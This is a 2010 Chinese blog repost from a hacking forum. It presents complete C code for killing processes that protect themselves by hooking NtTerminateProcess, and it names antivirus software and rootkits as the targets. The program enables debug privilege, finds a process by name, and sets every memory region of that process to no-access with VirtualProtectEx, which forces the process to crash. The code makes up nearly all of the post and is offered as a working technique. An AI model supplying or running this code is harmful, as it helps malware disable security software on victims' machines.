分类

学习笔记 [17]
渗透测试 [4]
一些杂文 [14]
coding [16]
漏洞信息 [17]
技术文章 [15]
开发文档 [8]
个人作品 [5]
PS:个人作品在各种下载栏目均有下载

站内搜索

日历

«  November 2010  »
Su Mo Tu We Th Fr Sa
 123456
78910111213
14151617181920
21222324252627
282930

访问统计(起于2010/10/2)

访问统计
PortWatcher's Blog
Monday, 2025-06-30, 3:10 AM
Welcome Guest
Main | Registration | Login | RSS

Blog

Main » 2010 » November » 23 » 调用VitualProtect结束进程
12:05 PM
调用VitualProtect结束进程
PS:我过了很久才转的这篇,怕被怀疑泄露VIP资料```我只是觉得短短几行有价值的代码胜过一切空谈```所以情不自禁还是转了```


转自黑客防线Windows内核编程板块```膜拜技术大牛,叹自己思路之堵塞,眼光之短浅````

杀毒软件和Rootkit程序为了保护自己的进程不被关闭,经常喜欢Hook NtTerminateProcess 函数,这样的话我们可以调用VirtualProtect函数,将进程内存的有效区域全部改成"不可执行”。那么进程使用到这些已经标识为"不可执行”的内存区域时,就会自动退出。代码如下:

Code

#include <stdio.h>  
#include <windows.h>  
#include <TLHELP32.H>  

DWORD GetProcessID(char *ProcessName)  
{  
  BOOL bMore;  
  HANDLE pHandle;  
  PROCESSENTRY32 pe32;  
  pHandle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);  
  pe32.dwSize=sizeof(pe32);  
  bMore=Process32First(pHandle,&pe32);  
   
  while(bMore)  
  {  
  if(strcmp(ProcessName,pe32.szExeFile)==0)  
  return pe32.th32ProcessID;  
   
  bMore = Process32Next(pHandle,&pe32);  
  }  

  return 0;  
}  

void MyKillProcess(DWORD PID)  
{  
  DWORD MaxAddr,MinAddr,CurAddr,PageSize,OldProtect;  
  HANDLE hProc;  
  SYSTEM_INFO SysInfo;  
  MEMORY_BASIC_INFORMATION MemBasicInfo;  

  GetSystemInfo(&SysInfo);  
  MinAddr = (DWORD)SysInfo.lpMinimumApplicationAddress;  
  MaxAddr = (DWORD)SysInfo.lpMaximumApplicationAddress;  
  PageSize = SysInfo.dwPageSize;  

  hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, PID);  
   
  if (hProc<=0) return ;  

  for (CurAddr = MinAddr; CurAddr <= MaxAddr; CurAddr += PageSize)  
  {  
  if (VirtualQueryEx(hProc, (LPVOID)(CurAddr), &MemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION)))  
  {  
  VirtualProtectEx(hProc, MemBasicInfo.BaseAddress, MemBasicInfo.RegionSize, PAGE_NOACCESS, &OldProtect);  
  }  
  }  

  CloseHandle(hProc);  
}  

void SetPrivilege()  
{  
  HANDLE hToken;  
  LUID destLuid;  
  TOKEN_PRIVILEGES TokenPrivileges;  
  OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); //获得进程访问令牌的句柄  
  LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &destLuid); //操作的类型为SE_DEBUG_NAME  
  TokenPrivileges.PrivilegeCount = 1;  
  TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  
  TokenPrivileges.Privileges[0].Luid = destLuid;  
  AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, 0, NULL, NULL); //提升权限  
  CloseHandle(hToken); //关闭句柄  
}  
int main()  
{  
  DWORD pid;  
  char ProcessName[100];  

  SetPrivilege(); //提升进程权限为DEBUG  

  printf("请输入进程名称:");  
  scanf("%s",ProcessName);  

  pid = GetProcessID(ProcessName); //获取进程ID  

  if(pid != 0)  
  {  
  MyKillProcess(pid); //结束进程  
  }  
  else  
  {  
  printf("没有找到进程\n");  
  }  

  return 0;  
}  
Category: coding | Views: 761 | Added by: Jury | Rating: 5.0/1
Total comments: 0
Name *:
Email *:
Code *: